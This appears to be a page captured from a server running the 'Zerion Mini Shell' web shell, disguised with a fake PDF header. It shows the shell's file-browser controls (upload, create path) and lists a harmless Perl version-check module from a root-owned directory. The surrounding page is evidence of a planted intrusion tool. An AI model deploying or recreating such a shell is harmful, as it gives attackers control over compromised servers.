%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /root/.cpanm/work/1590825950.14464/local-lib-2.000024/inc/
Upload File :
Create Path :
Current File : //root/.cpanm/work/1590825950.14464/local-lib-2.000024/inc/CheckVersion.pm

package CheckVersion;
use strict;
use warnings;

sub import {
  my $target = caller;
  my $result = check_version(@ARGV);
  exit $result;
}

sub check_version {
  my ($module, $need_v) = @_;
  require ExtUtils::MakeMaker;
  (my $file = "$module.pm") =~ s{::}{/}g;
  my ($pm) = grep { -e } map { "$_/$file" } @INC;
  if (!$pm) {
    return 1;
  }
  my $v = MM->parse_version($pm) || 0;
  $v = eval $v;
  if ($v >= $need_v) {
    return 0;
  }
  return 2;
}

1;

Zerion Mini Shell 1.0